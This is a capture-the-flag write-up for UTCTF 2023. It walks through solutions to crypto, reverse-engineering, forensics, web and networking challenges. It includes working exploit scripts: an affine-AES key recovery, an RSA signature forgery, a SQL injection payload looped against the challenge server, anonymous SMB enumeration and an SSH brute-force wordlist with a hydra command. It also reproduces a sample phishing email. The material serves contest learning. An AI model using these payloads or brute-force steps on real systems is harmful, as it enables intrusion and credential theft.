UTCTF 2023

Welcoming our new team members for 2023! This was the first CTF for some of them.

Categories index
Crypto - Reverse - Forensics - Web - Networking

Crypto

Affinity

I just found out that the source code for AES is public. How can I trust that my secrets won’t be decrypted if the decryption algorithm is public. Since I’m a genius, I decided to make some modifications and roll my own crypto. Now you’ll never decrypt my secret!

3384f87f781c394b79e331510540a4125a371b057b058d8e793521cd43f2ae94

nc puffer.utctf.live 52584
Attachments: aes.py, encrypt_pub.py

As soon as I read the title and the description of the challenge, I immediately thought of an implementation of AES with affine sbox and the related attack that I had already seen in a previous ctf. The source code confirmed my hypotesis:

    sbox = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]

I will briefly try to explain how the attack works (referring to this), but please have mercy, I’m not a mathematician.

Me doing math

In the AES encryption we have 3 operations: Sub_bytes, Mix_columns, Shift_rows. The last two are linear transformations, but Sub_bytes is not. Then we also have for each AES round an AddRoundKey operation which is just a vector addiction. Constant addiction and linear transformations are both affine transformations. Therefore Sub_bytes it is the only thing that prevents AES from being linear and, consequently, affine.
How can we verify if the Sub_bytes operation is linear? We need to check if the sbox is linear. In this challenge is trivial, but generally we can check that the following equation holds:

\[Sbox[x] \oplus Sbox[y] = Sbox[x \oplus y] \oplus c\]

for any x and y, with c constant. In this challenge we have that:

\[Sbox[x]=x \Rightarrow Sbox[x] \oplus Sbox[y] = x \oplus y = Sbox[x \oplus y]\]

Which is valid for every x and y, with constant c=0.
Now how the affinity of AES helps us to break it? The affine transformation of the affine AES is $c = Ap \cdot k$ where p is the plaintext input (a vector of 128 bits), c is the corresponding ciphertext output, k is a constant vector (depends on the key) and A is a 128 × 128 bit matrix. It turns out the if AES is affine A can be precomputed so the only unknown in the previous equation is k.
We only need a single known plaintext/ciphertext block pair (p,c) to be able to determine k ($k = c − Ap$) and decrypt/encrypt whatever we want. Luckily the challenge let us encrypt arbitrary text so it’s not difficult to find such a pair (p,c). The following is the implementation of the attack I used, I apologize for my lazyness but I recycled the script made by the creator of a similiar challenge (credits to him).

from aes import *
from sage.all import Matrix, vector, GF


ciphertext_base = bytes.fromhex(
    "07091a946313510234bc2c218d2425f1")
sbox = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137,
        138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]
plaintext = b"aaaaaaaaaaaaaaaa"


def test_key(key):
    return AES().encrypt(plaintext, key, 16)


def xor(a, b):
    return bytes([c ^ d for c, d in zip(a, b)])


def to_bits(result):
    bitted = []
    for q in range(128):
        bitted.append(result % 2)
        result //= 2
    return bitted


ciphertext = ciphertext_base[:]
first_box = ciphertext[:16]
base = bytes(test_key(b"\x00"*16))
base = int(base.hex(), 16)
goal = int(first_box.hex(), 16) ^ base
bits = []

for i in range(128):
    x = 1 << i
    result = base ^ int(bytes(test_key(int(x).to_bytes(16, "big"))).hex(), 16)
    bits.append(to_bits(result))


mat = Matrix(GF(2), bits)
goaly = vector(GF(2), to_bits(goal))
answer = mat.solve_left(goaly)
answer_num = 0

for i, x in enumerate(answer[::]):
    answer_num += (int(x) << int(i))
print(hex(answer_num))

cipher = AES()
result = b""
ciphertext = bytes.fromhex(
    '3384f87f781c394b79e331510540a4125a371b057b058d8e793521cd43f2ae94')
while len(ciphertext) > 0:
    result += bytes(cipher.decrypt(ciphertext[:16],
                                   int(answer_num).to_bytes(16, "big"), 16))
    ciphertext = ciphertext[16:]

print(result)

🏁 utflag{5O_Th3_5B0x_d035_m4tt3R!}

Looks Wrong tom E

everything about this challenge looks wrong…

there are now 2 flags for this challenge btw so try submitting on the other one if this one doesn’t work
also this does mean that the source is lying to you a little bit ;)

nc puffer.utctf.live 8484
Attachments: main_fixed.py

The source code of the challenge is:

#!/usr/bin/env python3
import secrets
import random
import math

def mat_mul(a, b, mod):
    c = [[0] * len(b[0]) for _ in range(len(a))]
    for i in range(len(a)):
        for j in range(len(b)):
            for k in range(len(b[0])):
                c[i][k] = (c[i][k] + a[i][j] * b[j][k]) % mod
    return c

def mat_sum(a, b, mod):
    c = [[0] * len(b[0]) for _ in range(len(a))]
    for i in range(len(a)):
        for j in range(len(b[0])):
            c[i][j] = (a[i][j] + b[i][j]) % mod
    return c


def rand_matrix(mod, size, sample_func=secrets.randbelow):
    data = [[sample_func(mod) for _ in range(size[1])] for _ in range(size[0])]
    return data

def gen_errors(num, width, mod, size):
    values = [i for i in range(-8*width, 8*width)]
    weights = [math.e ** (-math.pi * (i / width)**2)for i in values]
    def dg(mod):
        return random.choices(values, weights)[0] % mod
    return [rand_matrix(mod,size,dg) for _ in range(num)]

def check(array, mod, width):
    for x in array[0]:
        if not (x < 4 * width or mod-x < 4 * width):
            return False
    return True

def keygen_many(num, width, mod, size):
    e_T = gen_errors(num, width, mod, (1,size[1]))

    keys = []
    for i in range(num):
        A_bar = rand_matrix(mod, size)
        s_bar = rand_matrix(mod, (1, size[0]))
        index = secrets.randbelow(num)
        A = A_bar + mat_sum(mat_mul(s_bar, A_bar, mod), e_T[index], mod)
        keys.append(A)
    return keys

for r in range(1, 11):
    print('round %d / 10' % r)
    print('how many keys would you like? (1-10)')
    num = int(input())
    mod = 10**9+7
    width = 6
    size = (10*min(r, 5), 30*min(r,5))
    keys = keygen_many(num, width, mod, size)
    for i, key in enumerate(keys):
        print('Key %d' % (i+1))
        print(key)

    print('which key would you like to crack? (1-%d)' % num)
    index = int(input()) - 1
    print('enter the secret key (%d space separated integers)' % (size[0] + 1))

    values = input().split()

    secret_key = [[int(x) for x in values]]

    if check(mat_mul(secret_key, keys[index], mod), mod, width):
        print('ok')
    else:
        print('looks wrong tom e :/')
        exit()

print('[flag]')

At the beginning I felt a bit overwhelmed by all these functions and I started to analyze them and think to complex mathematical solutions.

Me doing math again

After a while I realized that the solution might have been simpler than I thought.
If we think about it, the only thing that matters is that our provided input passes the check function:

def check(array, mod, width):
    for x in array[0]:
        if not (x < 4 * width or mod-x < 4 * width):
            return False
    return True

.
.
.

if check(mat_mul(secret_key, keys[index], mod), mod, width)

More precisely we want that our input vector multiplied by a matrix passes the check. Lets try to simplify the logic of the check function:

if not (x < 4 * width or mod-x < 4 * width)

This means that if one of the condition inside the parenthesis is true than the argument of the if is false and therefore we win! The parameters width and mod are fixed (=6 and =10**9+7 respectively) so we only need to have that one of these 2 costraints is always true:

x < 24
(1000000007-x) < 24

So we need that the elements of the result of our_input * matrix are all lower than 24 or higher than 1000000007-24. The first solution that came up in my mind was to provide as input vectors of zeros to make the result of the matrix multiplication always zero, therefore < 24.

from pwn import *

r = remote('puffer.utctf.live', 8484)
logger = log.progress('Round')

for i in range(10):
    logger.status(str(i))
    r.sendlineafter(b')\n', b'1')
    r.sendlineafter(b')\n', b'1')
    payload = b'0 '*(10*min(i+1, 5)+1)
    r.sendlineafter(b')\n', payload)

r.interactive()

🏁 utflag{mY_l34Rn1Ng_h4s_3rr0rs_2f11a84e}

Provably Insecure

I’m sure nobody remembers the fiasco from DiceCTF when I thought I had proven my cipher was secure. Can you fool this signature service?

nc puffer.utctf.live 52548
Attachments: server.py

The following is the code of the challenge:

    #!/usr/local/bin/python

    from cryptography.hazmat.primitives.asymmetric import rsa
    from secrets import randbits

    if __name__ == '__main__':
        alice = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        print("Alice's pk: ", alice.public_key().public_numbers().n, alice.public_key().public_numbers().e)
        m = randbits(256)
        s = pow(m, alice.private_numbers().d, alice.public_key().public_numbers().n)
        print(m, s)
        print("Your key: ")
        n_prime = abs(int(input("n': ")))
        e_prime = abs(int(input("e': ")))
        d_prime = abs(int(input("d': ")))

        # Checks
        x = randbits(256)
        assert alice.public_key().public_numbers().n != n_prime or alice.public_key().public_numbers().e != e_prime
        assert n_prime > s
        assert pow(x, e_prime * d_prime, n_prime) == x
        assert e_prime > 1
        assert pow(s, e_prime, n_prime) == m

        with open('flag.txt', 'r') as f:
            print("Flag: " + f.read().strip())

The goal of the challenge is to find some “equivalent” parameters for the RSA signature wrt to the ones used by the server. We are asked to provide N, e, d such that:

\[\displaylines{ s^e \equiv m \pmod{n} \\ x^{ed} \equiv x \pmod{n} \\ n>s }\]

When I approached the challenge I didn’t have clear ideas on how to solve it so I started trying some bruteforces to find the paramters. Obviously not a smart move.
After a few tries I took a small break from the challenge (always the turning point for me) and while I was doing something else I came up with a good idea. We can notice that there are no constraints on the composition of n, therefore it may not be the product of 2 primes. So I used a smooth number, in particular the power of a small prime, as n. In this way it is really easy to compute the discrete logarithm modulo n using the Pohlig Hellman algorithm. At this point I only needed to compute the discrete_log of m with base s to find e and then recover the respective d.
This procedure is not always successful for two reasons:

  • The discrete_log(m, s) may not exist
  • The obtained e can be not invertible modulo phi(n), i.e. it’s impossible to get d

Despite this the probabilties of success are still really high, and it is sufficient to run the solve script multiple times to obtain the flag.

    from pwn import *
    from sage.all import *

    while True:
        try:
            r = remote('puffer.utctf.live', 52548)

            r.recvline()
            data = r.recvline().strip().decode().split()
            m = int(data[0])
            s = int(data[1])

            # n crafting
            prime = random_prime(2**10)
            n = prime**250
            while n < s:
                n *= prime

            s = Mod(s, n)
            # this discrete log may not exist
            e = discrete_log(m, s)
            phi = euler_phi(n)

            # if this is not true the inverse of e doesn't exist
            assert gcd(e, phi) == 1

            d = pow(e, -1, euler_phi(n))

            r.sendlineafter(b': ', str(n).encode())
            r.sendlineafter(b': ', str(e).encode())
            r.sendlineafter(b': ', str(d).encode())
            r.interactive()
            r.close()
            break
        except:
            pass

For the people interested in these kind of attacks, the author of the challenge shared the paper that inspired him for the creation of the challenge.

🏁 utflag{hey_wait_signature_forgery_is_illegal}

Reverse

Game

Nostalgic overload, at least for me. Credit due to Carolina.

Attachments: game

This reverse challenge is very easy and challenging if you never decompiled a flash file. Analyzing the program with the file command we get: Macromedia Flash data (compressed), version 10. We can quickly try using strings to find the flag, but with no success since a flash file is compiled and not just packed.

We need to find a swf decompiler, my choice was jpexs-decompiler.

By opening the swf file with jpexs we clearly find out that the game isn’t as simple as we hoped it would be (we could have also found out by the size of the file that is roughtly 8.8mb). I tried exporting all the folders of the program so i can explore all the files freely.

I found the flag in the folder texts. By running

$ cat *.txt | grep utflag
came from.utflag{flag}.Good news!

The flag is contained in the file 6283.txt.

🏁 utflag{they_kn0w}{:.spoiler}

Forensics

What Time is It?

Super Secure Company’s database was recently breached. One of the employees self reported a potential phishing event that could be related. Unfortunately, our Linux email server does not report receiving any emails on March 2, 2023. Can you identify when this email was actually sent?
The flag format is utflag{MM/DD/YYYY-HH:MM} in UTC time.

Attachments: phishing.eml

We are given the phishing.eml document which contains an email. Opening the file with Notepad we will see:

MIME-Version: 1.0
Date: Thu, 2 Mar 2023 03:12:42 +0000
Message-ID: <CAODBzaAPrwTP=oDe6fkOv1a7LApXzv1m+YrYG9RHZM7tbBJRbw@mail.gmail.com>
Subject: Critical Security Incident - Action Required ASAP!
From:  Security Division <admin-notifications@supersecurecompany.com>
To: Jim Browning <jim.browning@supersecurecompany.com>
Content-Type: multipart/alternative; boundary="00000000000093882205f60cdcdb"

--00000000000093882205f60cdcdb
Content-Type: text/plain; charset="UTF-8"

Jim,

We have reason to believe that your Google account may have been
compromised. Please login as soon as possible at the following link in
order to secure your account. Thank you for your cooperation and swift
action to address this issue. Please feel free to reply to this email if
you have any questions. Do not email IT about this email as they are not in
the loop on account authorization issues.

https://supersecurecompany.gooogle.com/login/

Sincerely,
Security Division
Super Secure Company

--00000000000093882205f60cdcdb
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr"><div dir=3D"ltr"><div dir=3D"ltr"><div dir=3D"ltr"><div di=
r=3D"ltr"><div dir=3D"ltr"><div dir=3D"ltr"><div>Jim,</div><div><br></div><=
div>We have reason to believe that your=20
Google account may have been compromised. Please login as soon as=20
possible at the following link in order to secure your account. Thank=20
you for your cooperation and swift action to address this issue. Please=20
feel free to reply to this email if you have any questions. Do not email
 IT about this email as they are not in the loop on account=20
authorization issues.</div><div><br></div><div><a href=3D"https://supersecu=
recompany.gooogle.com/login/">https://supersecurecompany.gooogle.com/login/=
</a><br></div><div><br></div><div>Sincerely,</div><div>Security Division</d=
iv><div>Super Secure Company<br></div></div></div></div></div></div></div><=
/div>

--00000000000093882205f60cdcdb--

Looking at the file the first thing we will notice is:

Date: Thu, 2 Mar 2023 03:12:42 +0000

But from the description we know that:

Unfortunately, our Linux email server does not report receiving any emails on March 2, 2023.

So let’s keep looking. Continuing to search, the Content-Type boundary and the Message-ID header jump to the eye, respectively:

00000000000093882205F60CDCDDB
CAODBzaAPrwTP=oDe6fkOv1a7LApXzv1m+YrYG9RHZM7tbBJRbw@mail.gmail.com

After some research we found this site that talks about how timestamps can be derived from the boundary.

Proceeding with the steps indicated on the site we get 0x05f60cdc938822 which converted from hexadecimal to decimal from result 1677909984249890. Now using an online converter we get 03/04/2023 06:06:24.249890.

🏁 <utflag{03/04/2023-06:06}>

Web

A tribute to Bataille

Confess your sins!

http://guppy.utctf.live:5321

You should confess your sins only when really needed.

The challenge is presented with a simple page with an image:

img_name

We can see that there are some injection already tried by other users.

In fact scrolling the page we can find a simple form which leads us to insert something and then submits the text to the page /success

Intercepting the request in burp and sending it returns the follow:

img_name

The page does not accept our text so the first idea is to check what characters are admitted:

import requests as r
import string

printable = string.printable
bad_response = "not a confession"
url = "http://guppy.utctf.live:5321/confess"

for x in printable:
    response = r.post(url,data={"confession":x})
    if bad_response not in response.text:
        print("Character " + x + " seems to be admitted")


The first result was the following:

Character 1 seems to be admitted
Character 5 seems to be admitted
Character 6 seems to be admitted
Character 7 seems to be admitted
Character a seems to be admitted
Character b seems to be admitted
Character d seems to be admitted
Character h seems to be admitted
Character m seems to be admitted
Character s seems to be admitted
Character F seems to be admitted
Character Q seems to be admitted
Character S seems to be admitted
Character Y seems to be admitted
Character Z seems to be admitted
Character ! seems to be admitted
Character % seems to be admitted
Character ' seems to be admitted
Character + seems to be admitted
Character - seems to be admitted
Character / seems to be admitted
Character = seems to be admitted
Character ? seems to be admitted
Character @ seems to be admitted
Character [ seems to be admitted
Character \ seems to be admitted
Character ] seems to be admitted
Character ^ seems to be admitted
Character ` seems to be admitted

If we print the response for every character too, we get someghing like this:


thanks for confessing[]

So [] seems to be an empty array. Poking around for a little, we noticed that running again the SAME python script, we get different chars admitted:

Character 1 seems to be admitted
Character 4 seems to be admitted
Character 7 seems to be admitted
Character 9 seems to be admitted
Character b seems to be admitted
Character g seems to be admitted
Character h seems to be admitted

etc... etc...

Differently from before the char 1 is admitted but the 4 that was not in the first attempt now is accepted and instead the 5 is not allowed.

So the page seems to accept messages only sometimes, probably with a random choise from the beckend wich decides if accepting our submission or not.

So after some attempts of injects like ';--" we got no result.

By taking a deep look at the page, we noticed that the image is located under the path: http://guppy.utctf.live:5321/images/img2.png. The weird fact is that it is named as img2.png but no other images in the page are shown. By attempting to make a get request from the browser to check if exists another image with the name img1.png (http://guppy.utctf.live:5321/images/img1.png) we get another image:

img_name

And BOOM!!. It seems to be the code executed by the back-end application. Of course it is python so the web application is most probably using the framework Flask.

Ignoring this and taking a look at the code we can clearly see a code vulnerable to some kind of SQL Injection because no paramaterized queries are used. We’re into an INSERT but we can see that multiples queries can be executed by adding a ;, then the result is printed to the user as an array (The empyt array that we saw until now). Since the table name is confessions, we can try to inject something like this:

"); SELECT * FROM confessions WHERE text LIKE "utctf%"; -- abcd

But we have to remember that back-end accept only sometimes our requests, so we can build a script to make it:

import requests as r
import string
import re
bad_response = "not a confession"
url = "http://guppy.utctf.live:5321/confess"

while True:
    to_inject = '"); SELECT * FROM confessions WHERE text LIKE "utflag{%"; -- abcd'
    response = r.post(url,data={"confession":to_inject})
    if bad_response not in response.text:
        print("The page returned the following result: ")
        flag = re.findall("utflag\{[a-zA-Z0-9_]{1,}\}",response.text)[0]
        print(flag)
        break

🏁 utflag{thanks_for_confessing_your_sins}

Networking

A Network Problem - Part 1

There are some interesting ports open on betta.utctf.live, particularly port 8080.

betta.utctf.live:8080

netcat makes for an excellent stick

$ nc betta.utctf.live 8080

Hi Wade! I am using socat to broadcat this message. Pretty nifty right? --jwalker utflag{meh-netcats-cooler}

In case you prefer a fancier approach, nmap’s version scan can also be abused for this kind of tasks:

$ nmap -sV betta.utctf.live -p 8080

Starting Nmap 7.93 ( https://nmap.org ) at 1337-13-37 13:37 CET
Nmap scan report for betta.utctf.live (44.201.8.3)
Host is up (0.11s latency).
rDNS record for 44.201.8.3: ec2-44-201-8-3.compute-1.amazonaws.com

PORT     STATE SERVICE     VERSION
8080/tcp open  http-proxy?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.93%I=7%D=3/16%Time=6413826A%P=x86_64-pc-linux-gnu%r(NU
SF:LL,6E,"Hi\x20Wade!\x20I\x20am\x20using\x20socat\x20to\x20broadcat\x20th
SF:is\x20message\.\x20Pretty\x20nifty\x20right\?\x20--jwalker\x20utflag{me
SF:h-netcats-cooler}\r\n")%r(GetRequest,6E,"Hi\x20Wade!\x20I\x20am\x20usin
[...]

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.12 seconds

🏁 utflag{meh-netcats-cooler}

A Network Problem - Part 2

betta.utctf.live has other interesting ports. Lets look at 8445 this time.

betta.utctf.live:8445

Now that we’ve developed a taste for fancy approaches, let’s use nmap’s version scan once more:

$ nmap -sV betta.utctf.live -p 8445

Starting Nmap 7.93 ( https://nmap.org ) at 1337-13-37 13:37 CET
Nmap scan report for betta.utctf.live (44.201.8.3)
Host is up (0.11s latency).
rDNS record for 44.201.8.3: ec2-44-201-8-3.compute-1.amazonaws.com

PORT     STATE SERVICE     VERSION
8445/tcp open  netbios-ssn Samba smbd 4.6.2

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.14 seconds

Excellent, looks like we’ll have to dig into a Samba share! Not a fast one though - but hey, what would you expect from good ‘ole SMB?

Let’s see if there are any shares that can be enumerated anonymously:

$ smbclient -p 8445 -L betta.utctf.live -U%

	Sharename       Type      Comment
	---------       ----      -------
	WorkShares      Disk      Sharing of work files
	BackUps         Disk      File Backups.
	IPC$            IPC       IPC Service (Samba Server)
SMB1 disabled -- no workgroup available

Get’em, WorkShares and BackUps.

$ smbclient -p 8445 //betta.utctf.live/BackUps -U%

tree connect failed: NT_STATUS_ACCESS_DENIED

The backup share may be out of scope for this challenge.

$ smbclient -p 8445 //betta.utctf.live/WorkShares -U%

Try "help" to get a list of possible commands.
smb: \> cd \shares\IT\Itstuff\
smb: \shares\IT\Itstuff\> ls
  .                                   D        0  Wed Mar  8 20:45:05 2023
  ..                                  D        0  Wed Mar  8 20:45:05 2023
  notetoIT                            N      380  Wed Mar  8 20:45:05 2023

		9974088 blocks of size 1024. 6103304 blocks available
smb: \shares\IT\Itstuff\> get notetoIT
getting file \shares\IT\Itstuff\notetoIT of size 380 as notetoIT (0,7 KiloBytes/sec) (average 0,7 KiloBytes/sec)
smb: \shares\IT\Itstuff\> exit

The other share seems freely accessible and after having poked around for a bit and having enjoyed some cat pictures, an unsuspecting text file contains sensitive data:

I don't understand the fasination with the magic phrase "abracadabra", but too many people are using them as passwords. Crystal Ball, Wade Coldwater, Jay Walker, and Holly Wood all basically have the same password. Can you please reach out to them and get them to change thier passwords or at least get them append a special character?

-- Arty F.

utflag{out-of-c0ntrol-access}

In case you’re more of a GUI person, the share could also be mounted and browsed through your favorite file manager.

🏁 utflag{out-of-c0ntrol-access}

A Network Problem - Part 3

We’ve gathered a lot of information at this point, let get access through ssh. (ignore port 22, use 8822)
(Use of brute force is permitted for this problem, but please set the wait time in hydra so you don’t overwhelm the server)

betta.utctf.live:8822


Note: we didn’t actually get the flag for this challenge even though we had solved it, since the server was constantly swamped by other players’ attempts and we eventually moved on to more stimulating problems. This is one of the reasons why you don’t design challenges around bruteforcing (unless they are backdoored, I guess?).


Given the clues found in Part 2 (the magic phrase "abracadabra" [...] Crystal Ball, Wade Coldwater, Jay Walker, and Holly Wood all basically have the same password [...] at least get them append a special character) and the username format seen in Part 1 (jwalker), a list of usernames and passwords could be built trivially:

cball
wcoldwater
jwalker
hwood
abracadabra~
abracadabra`
abracadabra!
abracadabra@
abracadabra#
abracadabra$
abracadabra%
abracadabra^
abracadabra&
abracadabra*
abracadabra(
abracadabra)
abracadabra_
abracadabra+
abracadabra=
abracadabra{
abracadabra}
abracadabra[
abracadabra]
abracadabra|
abracadabra\
abracadabra;
abracadabra:
abracadabra'
abracadabra"
abracadabra<
abracadabra>
abracadabra,
abracadabra.
abracadabra?
abracadabra/

Running Hydra (albeit slowly, as the admins requested: hydra -t 1 -W 0.1 -l users.txt -p passwds.txt -u -s 8822 betta.utctf.live ssh) would have unveiled that the correct password for the user wcoldwater was abracadabra$, but unfortunately our timeslots didn’t align with the server’s availability.

🏁 N/A 😢